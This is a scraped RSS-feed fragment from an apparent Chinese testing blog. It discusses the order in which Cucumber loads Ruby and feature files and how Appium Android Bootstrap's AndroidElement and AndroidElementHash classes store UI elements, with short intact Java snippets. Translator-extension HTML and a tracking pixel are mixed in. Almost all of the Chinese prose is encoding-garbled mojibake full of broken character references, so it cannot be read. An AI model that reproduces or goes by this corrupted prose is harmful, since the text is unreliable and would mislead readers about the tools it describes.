0px;">puts File.basename(__FILE__)</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">姝?#29723;屼唬鐮佺殑浣?#37922;?#37828;?#37734;?#28051;涓猂uby鏂?#28000;?#37813;?#29723;屾椂杈?#37713;?#29831;?#37826;?#28000;?#37928;勫?#23941;瓧锛屾?#26882;鎵?#29723;宑ucumber鍛?#28000;?#38171;屽緱鍒?#28000;?#28051;嬭緭鍑?#38171;?#38318;?#37714;?#38171;?#32513;?#37835;?#38171;?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101621471043.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">涓?#37733;?#37719;?#28051;Ruby鏂?#28000;?#37928;?#37813;?#29723;?#26916;哄簭锛?#37721;?#28000;湅鍑?#38171;宻upport鏂?#28000;?#28598;?#28051;env.rb鏂?#28000;堕鍏?#29722;?#37813;?#29723;?#38171;屽叾娆?#37816;夌収瀛?#23011;?#37818;掑?#24532;墽琛宑.rb鍜宒.rb锛?#37818;?#28051;?#37833;?#38171;孋ucumber灏唂eatures鏂?#28000;?#28598;?#28051;?#37928;?#37813;鐢?#37826;?#28000;?#38171;?#28598;?#38171;?#37813;?#39582;冲寲锛屽苟鎸夊瓧姣?#26916;哄?#24532;?#25489;簭锛屼?#24228;屽厛鎵?#29723;a.rb鍜宐.rb锛岃?#37922;?#27996;巓ther鏂?#28000;?#28598;规帓鍦step_definitions鏂?#28000;?#28598;?#37928;勫墠闈?#38171;?#37813;浠?#37711;?#37813;?#29723;other鏂?#28000;?#28598;?#28051;?#37928;凴uby鏂?#28000;?#38171;堜篃鏄?#37816;夊瓧姣?#26916;哄?#24532;墽琛?#38171;?#37711;坒.rb锛岀劧鍚巊.rb锛?#38171;?#37832;鍚?#37813;?#29723;宻tep_definitions涓?#37928;別.rb銆?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">?#32139;鎵?#29723;屽畬鎵鏈塕uby鏂?#28000;?#37722;?#38171;孋ucumber?#32017;濮嬩緷娆?#29831;?#37721;朏eature鏂?#28000;?#38171;?#37813;?#29723;?#26916;哄?#24526;篃鍜屽墠杩?#28051;鏍?#38171;屽嵆: a.feature --> b.feature --> c.feature</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">绗?#38000;?#26473;?#37721;戠幇锛?#26473;?#27996;汻uby鏂?#28000;?#37922;?#38007;?#37721;?#28000;?#28003;?#27996;巉eatures鏂?#28000;?#28598;逛箣澶?#37928;?#28000;?#28003;?#37734;?#37826;?#38171;?#37721;?#37828;?#38343;瑕?#37734;?#28003;?#27996;巉eatures鏂?#28000;?#28598;逛?#23338;唴鐨凴uby鏂?#28000;朵腑require涓涓?#38171;屾?#26047;鍦env.rb?#33105;銆?/p></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: block; left: 89px; top: 0px; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English »</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center"> </td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a> : <a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.67529968.com/qileilove/aggbug/421891.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2014-12-28 01:29 <a href="http://www.67529968.com/qileilove/archive/2014/12/28/421891.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>Appium Android Bootstrap涔?#37818;?#28000;禔ndroidElementhttp://www.67529968.com/qileilove/archive/2014/12/23/421669.html椤哄叾鑷劧EVO椤哄叾鑷劧EVOMon, 22 Dec 2014 16:26:00 GMThttp://www.67529968.com/qileilove/archive/2014/12/23/421669.htmlhttp://www.67529968.com/qileilove/comments/421669.htmlhttp://www.67529968.com/qileilove/archive/2014/12/23/421669.html#Feedback0http://www.67529968.com/qileilove/comments/commentRss/421669.htmlhttp://www.67529968.com/qileilove/services/trackbacks/421669.htmlAndroidElementHash鐨勮繖涓猤etElement鍛?#28000;?#29781;佸仛鐨?#27996;嬫儏灏?#37828;拡瀵?#26473;?#28051;?#37904;规潵鏍规嵁涓嶅悓?#20751;鍐佃幏寰?#37929;?#37837;?#37818;?#28000;?/div>
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
銆銆濡?#37835;?#37828;?#32471;?绉嶆儏鍐?#28751;辩洿鎺?#38315;氳繃閫夋嫨瀛?#37835;勫缓UiObject瀵硅薄锛岀劧鍚?#38315;氳繃addElement?#22968;UiObject瀵硅薄杞?#37817;?#37812;怉ndroidElement瀵硅薄淇濆瓨鍒?#37818;?#28000;?#37725;?#29999;?#29723;?/div>
銆銆濡?#37835;?#37828;?#32471;?绉嶆儏鍐?#28751;?#37711;?#37837;规嵁appium浼犺繃鏉?#37928;?#37818;?#28000;?#37725;?#29999;?#29723;?#38335;?#37706;艰幏寰楃埗鎺?#28000;?#38171;屽啀閫氳繃瀛?#37818;?#28000;?#37928;?#38315;夋嫨瀛?#37734;埗鎺?#28000;?#37928;勫熀纭涓婃煡鎵?#37714;?#37929;?#37837;UiObject鎺?#28000;?#38171;?#37832;鍚庤窡涓?#38344;?#28051;鏍锋妸璇?#37818;?#28000;?#38315;氳繃涓?#38344;?#37928;刟ddElement?#22968;UiObject鎺?#28000;?#26462;?#37817;?#37812;怉ndroidElement鎺?#28000;?#28725;硅薄淇濆瓨鍒?#37818;?#28000;?#37725;?#29999;?#29723;?/div>
銆4. ?#30512;璇?/strong>
銆銆涓?#38344;?#37832;夋彁?#32323;锛屽鏋pc绔?#37928;勮剼鏈?#37813;?#29723;屽?#29808;悓涓涓?#37818;?#28000;?#37928;?#28051;?#23046;findElement?#32048;鍒涘缓涓?#28051;?#28051;嶅悓id鐨凙ndroidElement骞跺?#27195;斁鍒?#37818;?#28000;?#37725;?#29999;?#29723;腑锛岄偅涔?#28051;轰粈涔坅ppium鐨勫洟闃熸病鏈夊仛涓涓?#28583;?#23534;?#38171;屽鍔?#28051;涓猭eyMap鐨?#37826;规硶锛?#32480;楁硶锛夊拰涓浜?#26864;?#28598;?#37928;?#28103;伅鏉?#29825;悓涓涓?#37818;?#28000;朵娇鐢?#28051;嶅悓鐨刱ey鐨勬椂鍊?#28725;?#25652;?#37928;勮繕鏄悓涓涓狝ndroidElement鎺?#28000;跺憿锛熸瘯绔?#26473;?#37813;?#37828;?#37725;?#29999;?#29723;?#28729;?#37922;?#37928;?#37911;规?#28052;嬩竴浜?#38171;?#28051;嶇劧浣犵洿鎺?#37922;?#28051;涓狣ictionary涓?#28751;?#28729;?#27996;嬩簡锛?#32515;?#28051;?#29831;?#27996;?#37713;?#37904;hashtable鍜宒ictionary鐨?#23480;?#37714;?#38171;屽澶氱嚎绋嬬幆澧?#37832;濂戒娇鐢?#37725;?#29999;?#29723;?#38000;岄潪瀛?#37711;?#32475;?#38171;屼絾鍦bootstrap杩?#28051;?#37818;?#28000;?#37725;?#29999;?#29723;?#37928;勬儏鍐?#28051;?#37812;?#28051;?#37828;?#23536;?#28103;?#37832;?#26473;?#27996;?#29831;存硶锛?#37832;夎皝娓呮鐨勮?#27194;?#23815;儲鎸?#37904;?#28051;浜?#27996;?/div>
銆銆杩?#38322;?#38007;?#27996;?#28051;轰粈涔坅ppium涓嶅?#32472;彁渚?#26864;?#28598;?#37928;刱ey淇伅骞?#28051;?#28729;炵幇keyMap绠楁硶锛屾垜涓?#27996;哄?#37828;?#29825;?#28051;?#37832;夊涓嬪師鍥?#38171;?/div>
銆銆鏈夎皝杩欎?#22559;棤?#20144;鍦悓涓涓?#23092;?#29831;?#37826;规硶?#33105;瀵瑰悓涓涓?#37818;?#28000;舵煡鎵?#28051;?#23046;?#38171;?/div>
銆銆濡?#37835;滃悓涓涓?#37818;?#28000;?#26473;?#37922;?#28051;嶅悓鐨?#38315;夋嫨瀛?#37836;?#37813;?#28051;?#23046;?#37928;?#29831;?#38171;屽洜涓?#37832;缁?#25652;曞眰鐨刄iObject鐨?#37812;?#37723;?#37721;橀噺UiSelector mSelector涓?#28051;鏍?#38171;?#37813;浠?#32429;?#28729;?#37721;?#28000;?#29825;?#28051;?#37828;?#28051;嶅悓鐨?#37818;?#28000;?/div>
銆銆浣?#28000;?#28051;嬩袱涓?#28641;?#37835;?#37922;悓鏍?#37928;刄iSelector閫夋嫨瀛?#37833;?#37836;?#37813;?#37818;?#28000;?#37928;勬儏鍐?#37812;?#28751;?#29785;?#37835;?#28051;?#27996;?#27996;?#38171;屾瘯绔?#37734;?#37812;戠湅鏉bootstrap杩欒竟搴?#29831;妸瀹?#28000;湅鎴?#37828;悓涓涓?#28725;硅薄鐨?#38171;?/div>
銆銆?#24723;涓涓?#38004;?#37832;?#28051;嶅悓鐨?#37826;规硶?#33105;鍒?#37714;?#28725;瑰悓涓鎺?#28000;?#37922;悓鏍?#37928;刄iSelelctor閫夋嫨瀛愯繘琛屾煡鎵惧憿锛?/div>
銆銆涓嶅悓鑴?#37832;腑?#25023;锛?/div>
銆銆杩?#27996;涗篃璁?#37734;?#28000;?#37722;庢?#21342;叆浜?#29785;腑寰?#37714;?#29785;?#37712;?#38171;屼?#21977;湅瀹?#28641;?#37835;滅煡閬?#37928;?#38171;?#26473;?#37832;?#28051;嶅悵璧?#37825;?/div>
銆銆5. 灏?#32513;?/strong>
銆銆鏈鍚?#37812;?#28000;?#28725;筨ootstrap鐨?#37818;?#28000;剁浉鍏崇煡璇?#37904;瑰仛涓涓?#37804;?#32513;?/div>
銆銆AndroidElement鐨?#28051;涓?#28729;?#28186;嬩唬琛?#27996;?#28051;涓猙ootstrap鐨?#37818;?#28000;?/div>
銆銆AndroidElement鎺?#28000;?#37928;?#37812;?#37723;?#37721;橀噺UiObject el浠?#29723;?#27996;唘iautomator妗?#37835;朵腑鐨?#28051;涓湡瀹炵獥鍙?#37818;?#28000;?#38171;岄氳繃瀹?#28751;?#37721;?#28000;洿鎺?#38315;忚繃uiautomator妗?#37835;?#28725;规帶浠惰繘琛屽疄璐?#37804;?#37823;?#28003;?/div>
銆銆pc绔?#37928;刉ebElement鍏冪礌鍜孊ootstrap鐨凙ndroidElement鎺?#28000;?#37828;?#38315;氳繃AndroidElement鎺?#28000;?#37928;凷tring id?#32344;琛?#37828;?#28751;?#37711;宠仈鐨?/div>
銆銆AndroidElementHash绫?#32513;存姢浜?#28051;涓?#28000;AndroidElement鐨刬d涓洪敭鍊?#38171;屼互AndroidElement鐨?#28729;?#28186;嬩负value鐨勫叏灞?#25966;涓鍝?#29999;?#29723;?#38171;宲c绔?#37807;?#29781;佽幏寰?#28051;涓?#37818;?#28000;?#37928;勬椂鍊欎細鍏?#28000;庤繖涓?#37725;?#29999;?#29723;?#37836;?#37813;?#38171;屽鏋滄病鏈?#27996;嗗啀鍒涘缓鏂?#37928;凙ndroidElement鎺?#28000;?#39582;?#37716;犲叆鍒?#29831;?#37725;?#29999;?#29723;腑锛?#37813;浠?#29831;?#37725;?#29999;?#29723;腑缁存姢鐨?#37828;?#28051;涓綋?#22688;宸茬粡?#23047;鐢繃鐨?#37818;?#28000;?/div>
鐩?#37711;?#37826;囩珷锛?/div>
Appium Android Bootstrap婧愮爜鍒?#37835;?#28052;嬬畝浠?/div>
銆閫氳繃涓?#28051;绡?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">鏂囩珷銆?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Appium Android Bootstrap婧愮爜鍒?#37835;?#28052;嬬畝浠?#37510;?#37812;?#28000;?#28725;筨ootstrap鐨?#28729;?#28052;?#28000;?#37721;婂叾鍦appium鍜寀iautomator澶?#27996;?#28051;涓?#28000;涔?#37837;?#37928;?#28003;嶇疆鏈?#27996;?#28051;涓?#37714;?#23005;?#37928;?#27996;?#29785;?#38171;岄偅涔?#37816;夌収姝父鐨勫?#27406;功鐨勬濊矾锛?#28051;嬩竴涓?#32468;?#38010;傚簲璇?#28751;?#29781;佸?#33636;湅bootstrap鏄?#28641;備?#26334;缓?#29659;socket鏉?#38014;?#37721;?#37825;?#37817;劧鍚?#37804;?#37837;疯繘琛?#28598;勭悊鐨?#27996;?#37510;備絾鏈?#27996;?#29785;夊緱杩?#37837;峰?#24876;仛骞?#28051;嶄細澶?#28610;?#38171;屽洜涓哄埌?#26882;鏁寸瘒鏂囩?#29361;細鍙?#23536;?#38344;炲父鐨勫?#26949;暱锛屽洜涓轰綘鍦?#32514;栧啓鐨勮繃绋嬩腑?#37714;?#28051;?#29825;?#29831;?#37928;勭被鍙?#29781;佽?#20914;叆杩涘?#26127;繘琛?#29831;?#37828;?#37714;?#37835;?#37510;?#26473;?#38322;屾垜瑙夊緱搴?#29831;?#28751;?#29831;曞鍙?#38017;?#37722;?#37928;?#37510;?#38322;?#37835;?#37510;嬭繖鏈?#28052;?#37928;勫缓璁?#38171;?#28051;涓?#37826;规硶鐨?#28000;爜涓?#29781;佸啓寰?#28598;?#38336;?#38171;?#28051;嶇劧鍙?#29831;绘細寰?#23480;?#38171;屽敖閲忔?#23106;叾鍒?#29785;?#37812;?#28051;嶅悓鐨?#37713;?#37825;?#37510;傞偅鎴?#28000;?#26473;?#38322;屽氨鏄?#37922;?#32491;?#28028;?#37928;勬?#37807;?#38171;?#28051;?#29781;?#28751;?#29831;?#37734;?#28051;涓?#37826;囩?#29361;腑鎶婃墍鏈?#37928;?#27996;嬫儏?#20824;?#20187;瀹?#38171;岃?#37828;?#28751;?#29831;?#37711;堟妸鍏?#38335;?#37928;勭被缁欐弿杩?#23059;呮锛?#37832;鍚?#37813;嶅?#32472;妸杩?#27996;?#32491;?#38315;氳繃涓涓?#28729;炰緥鍒?#37835;?#32513;?#28051;?#29863;?#37833;?#37723;堢幇缁?#29831;昏?#38171;?#26473;?#37837;?#28598;?#28729;?#28751;?#28051;嶄細鍥?#28051;?#28051;涓?#37826;囩珷澶?#38336;垮奖鍝?#37721;?#29831;绘?#38000;屾斁寮?#23536;涓?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">瀛?#28052;?/strong>浜?#37510;?/div>
銆銆?#20549;涔堟垜浠?#26473;?#38322;?#28051;轰粈涔?#37711;?#29831;碽ootstrap瀵规帶浠?#37928;?#28598;勭悊锛岃岄潪鍒?#37813;嶆彁鍒?#37928;剆ocket鐩?#37711;?#37928;剆ocket鏈嶅姟鍣?#37928;勫缓绔嬪憿锛熸?#25118;槸杩?#37837;峰?#24878;湅寰?#37928;?#38171;?#28598;?#28729;剁湅鍒?#37832;?#27996;鸿繖绡?#37826;囩珷鐨勬椂鍊?#38171;屽緢鏈?#37721;兘涔嬪墠宸茬粡浜?#29785;繃鏈?#27996;洪拡瀵箄iautomator婧愮爜鍒?#37835;愰偅涓?#32495;?#37714;?#37928;?#37826;囩珷浜?#38171;屾垨鑰?#23480;茬粡鏈uiautomator鐨勭浉鍏崇煡璇?#38171;?#37813;浠?#38004;戣閲屼細姣?#26440;冭揩鍒?#37928;勬?#23815;煡閬撶?#21057;珶appium鏄?#37804;?#28052;堣繍鐢?#27996;唘iautomator鐨?#38171;岄偅涔?#37734;appium?#33105;浜庤繖涓?#38338;?#26864;?#37832;璐?#37714;?#37928;?#28751;?#37828;痑ppium鍦?#37832;嶅姟鍣?#32468;?#37828;?#37804;?#28052;堜娇鐢?#27996;唘iautomator鐨?#37818;?#28000;?#37928;?#37510;?/div>
銆銆杩?#38322;屾垜浠?#28051;?#29781;佷細鍒?#37835;?#28051;?#28051;?#32491;?#38171;?/strong>
銆銆AndroidElement:浠?#29723;?#27996;哹ootstrap鎸?#37832;?#37928;?#28051;涓猽i鐣岄潰鐨?#37818;?#28000;?#37928;勭被锛屽畠鎷?#37832;?#28051;涓猆iObject鎴?#37723;樺?#30789;薄鍜?#28051;涓?#28000;?#29723;叾鍦?#28051;?#38344;?#37928;勫搱甯?#29723;?#37928;勯敭鍊?#37928;凷tring绫诲瀷鎴?#37723;?#37721;橀噺id
銆銆AndroidElementsHash:鎸?#37832;?#27996;?#28051;涓寘鍚?#37813;鏈塨ootstrap锛堜篃灏?#37828;痑ppium锛?#37831;剧粡瑙?#37714;拌繃鐨?#38171;堜篃灏?#37828;?#38004;?#37832;?#28000;爜?#33105;findElement鏂规硶鎵?#37714;拌繃鐨?#38171;?#37818;?#28000;?#37928;勫搱甯?#29723;?#38171;屽畠鐨刱ey灏?#37828;AndroidElement?#33105;鐨刬d锛屾?#24531;綋appium閫氳繃findElement鎵?#37714;?#28051;涓?#37826;?#37818;?#28000;?#26473;?#28051;猧d灏变細锛?锛孉ppium鐨刾c绔?#37724;宐ootstrap绔兘?#32048;鎸?#37832;夎繖涓?#37818;?#28000;?#37928;刬d閿?#37706;?#38171;屽綋闇瑕佽皟鐢?#28051;涓?#37818;?#28000;?#37928;?#37826;规硶?#26882;灏?#38343;瑕佹妸浠?#29723;?#26473;?#28051;?#37818;?#28000;?#37928;刬d閿?#37706;?#28028;犺繃鏉?#29825;bootstrap鍙?#28000;?#28000;庤繖涓?#37725;?#29999;?#29723;?#37813;?#37714;?#28725;?#25652;?#37928;?#37818;?#28000;?/div>
銆銆1. AndroidElement鍜孶iObject鐨?#32513;勫悎鍏崇郴
銆銆浠?#28051;?#38344;?#37928;勬弿杩?#37812;?#28000;?#37721;?#28000;煡閬?#38171;孉ndroidElement杩?#28051;?#32491;?#38322;岄潰鎷?#37832;?#28051;涓猆iObject杩?#28051;?#37721;橀噺锛?/div>
銆銆public class AndroidElement {
銆銆private final UiObject el;
銆銆private String         id;
銆銆...
銆銆}
銆銆澶?#28729;堕兘?#29025;閬揢iObject?#21502;瀹?#28751;?#37828;UiAutomator閲岄潰浠?#29723;?#28051;涓?#37818;?#28000;?#37928;勭被锛岄氳繃瀹?#28751;辫兘澶?#28725;规帶浠惰繘琛屾搷浣?#38171;堝綋?#21159;鏈缁堣繕鏄?#38315;氳繃UiAutomation妗?#37835;?. AnroidElement灏?#37828;?#38315;氳繃瀹?#37833;?#29882;烾iAutomator鍙?#37922;?#37711;崇郴鐨?#37510;?#37812;?#28000;?#37721;?#28000;湅鍒?#28051;?#38344;?#37928;凙ndroidElement鐨?#37904;?#37713;籧lick鏂规硶?#21502;瀹?#28751;?#37828;?#23536;?#39582;?#38004;?#37928;勮皟鐢?#27996;哢iObject鐨刢lick鏂规硶锛?/div>
銆銆public boolean click() throws UiObjectNotFoundException {
銆銆return el.click();
銆銆}
銆銆?#32139;?#21159;杩?#38322;岄櫎浜click杩?#37832;夊緢澶?#37818;?#28000;剁浉鍏?#37928;勬搷浣?#38171;屾?#26047;dragTo,getText,longClick绛?#38171;屼?#21976;棤涓?#32229;澶?#38171;岄兘鏄?#38315;氳繃UiObject鏉?#28729;炵幇鐨?#38171;?#26473;?#38322;屽氨涓?#28051;涓鍒?#28051;?#27996;?#37510;?/div>
銆銆2. 鑴?#37832;?#37928;刉ebElement鍜孊ootstrap鐨凙ndroidElement鐨?#37828;?#28751;?#37711;崇郴
銆銆鎴?#28000;?#37734;?#38004;?#37832;?#28051;?#28725;规帶浠?#37928;勮璇嗗氨鏄?#28051;涓猈ebElement:
銆銆WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
銆銆鑰?#37734;Bootstrap?#33105;涓涓?#28725;硅薄灏?#37828;?#28051;涓狝ndroidElement. ?#20549;涔?#28729;?#28000;?#37828;?#37804;?#28052;?#37828;?#28751;?#37714;?#28051;璧?#37928;勫憿锛熸垜浠叾瀹?#37721;?#28000;?#37711;堢?#23338;涓?#37928;?#28000;爜锛?/div>
銆銆WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
銆銆addNote.getText();
銆銆addNote.click();
銆銆?#20187;鐨?#27996;嬫儏灏?#37828;?#38014;?#23536;Notes杩?#28051;猘pp鐨勮彍鍗?#38171;岀劧鍚庤皟鐢?#37818;?#28000;?#37928;刧etText鏉?#38014;?#23536;?#8216;Add note'鎺?#28000;?#37928;?#37826;?#37832;?#28103;伅锛屼互鍙?#38315;氳繃鎺?#28000;?#37928;刢lick鏂规硶鏉?#37904;?#37713;?#29831;?#37818;?#28000;?#37510;傞偅涔堟垜浠?#37930;嬩?#23341;皟璇?#28103;伅鏄?#37804;?#37837;?#37928;?#38171;?/div>

pc绔?#28028;犺繃鏉?#37928;刯son瀛?#28051;?#37832;夊嚑涓猣ields锛?/div>
銆銆cmd:浠?#29723;?#26473;?#28051;?#37828;?#28000;涔堝懡浠?#32491;诲瀷锛屽叾瀹?#28751;?#37828;AndroidCommandType鐨勯偅涓?#28051;?#37706;?/div>
銆銆package io.appium.android.bootstrap;
銆銆/**
銆銆* Enumeration for all the command types.
銆銆*
銆銆*/
銆銆public enum AndroidCommandType {
銆銆ACTION, SHUTDOWN
銆銆}
銆銆action: 鍏?#28003;?#37723;?#28000;?/div>
銆銆params: ?#24385;渚?#37928;?#37721;?#37825;?#38171;?#26473;?#38322;屾彁渚?#27996;?#28051;涓猠lementId鐨勯敭鍊?#28725;?/div>
銆銆浠?#28051;?#38344;?#37928;?#28051;?#37833;皟璇?#28103;伅?#28229;鏉?#38171;屽叾瀹炴病鏈?#37828;?#37828;?#37928;勭湅鍒扮?#21057;?#29110;娇鐢?#37928;?#37828;摢涓?#37818;?#28000;?#37510;傚叾瀹?#26473;?#38322;?#28051;?#29863;风溂鐨別lementId灏?#37828;?#32429;?#28729;?#37922;?#37928;?#37828;摢涓?#37818;?#28000;?#37928;?#38171;屾敞鎰?#26473;?#28051;猠lementId骞?#28051;?#37828;?#28051;涓?#37818;?#28000;?#37734;?#37923;岄潰涓?#37928;勮?#21228;簮id锛屽畠?#21502;瀹?#37828;疊ootstrap缁存姢鐨?#28051;涓?#28103;濆瓨鎵鏈?#23480;茬粡鑾?#37721;栬繃鐨?#37818;?#28000;?#37928;勫搱甯?#29723;?#37928;勯敭鍊?#37510;傚涓?#28051;灏忚?#20636;湅鍒?#37928;?#38171;屾瘡涓涓狝ndroidElement?#20824;鏈?#28051;?#28051;?#38322;?#29781;佺殑鎴?#37723;?#37721;橀噺锛?/div>
銆銆UiObject el 锛歶iautomator妗?#37835;朵腑浠?#29723;?#27996;?#28051;涓湡瀹?#37928;勭獥鍙?#37818;?#28000;?/div>
銆銆Sting id :  涓涓敮涓鐨?#38007;?#37716;?#28583;?#37716;?#37928;勫瓧涓茬?#35826;瀷鏁?#37825;?#38171;宲c绔?#28751;?#37828;?#38315;氳繃瀹?#37833;?#37734;AndroidElementHash杩?#28051;?#32491;讳腑鎵?#37714;版兂瑕佺殑鎺?#28000;?#37928;?/div>
銆3. AndroidElement鎺?#28000;?#37725;?#29999;?#29723;?/strong>
銆銆涓?#28051;鑺?#37812;?#28000;?#29831;?#37714;癮ppium pc绔?#37828;?#38315;氳繃id?#22968;WebElement鍜?#37929;?#37837;?#37832;哄櫒绔?#37928;凙ndroidElement鏄?#28751;勮捣鏉?#37928;?#38171;岄偅涔堟垜浠?#26473;?#28051;鑺?#28751;辨潵鐪嬩?#23340;?#23384;姢AndroidElement鐨勮繖涓?#37725;?#29999;?#29723;?#37828;?#37804;?#28052;?#28729;炵幇鐨?#37510;?/div>
銆銆棣?#37711;?#38171;屽畠鎷?#37832;?#28051;?#28051;?#37812;?#37723;?#37721;橀噺锛?/div>
銆銆private final Hashtable<String, AndroidElement> elements;
銆銆private       Integer                           counter;
銆銆elements 锛?#28051;涓?#28000;AndroidElement 鐨刬d鐨勫瓧涓茬?#35826;?#23337;负key锛屼互AndroidElement鐨?#28729;?#28186;嬩负value鐨?#37928;勫搱甯?#29723;?/div>
銆銆counter : 涓涓?#37825;村瀷鍙橀噺锛?#37832;?#28051;?#28051;?#28003;?#37922;?#38171;氬叾涓鏄?#28729;?#28000;?#29723;?#27996;嗗綋?#22688;宸茬粡鐢?#37714;?#37928;?#37818;?#28000;?#37928;?#37825;?#37929;?#38171;堝叾瀹炰篃涓?#28729;屽叏鏄?#38171;屼綘鍦?#38004;?#37832;腑瀵瑰悓涓涓?#37818;?#28000;惰皟鐢?#28051;?#23046;findElement?#21502;瀹炰細浜?#37922;?#28051;?#28051;?#28051;嶅悓id鐨凙ndroidElement鎺?#28000;?#38171;?#38171;屽叾浜?#37828;?#28729;?#28000;?#29723;?#27996;?#28051;涓?#37826;?#37922;?#37714;?#37928;?#37818;?#28000;?#37928;刬d锛岃?#26473;?#28051;猧d灏?#37828;?#28051;?#38344;?#37928;別lements鍝?#29999;?#29723;?#37928;勯敭
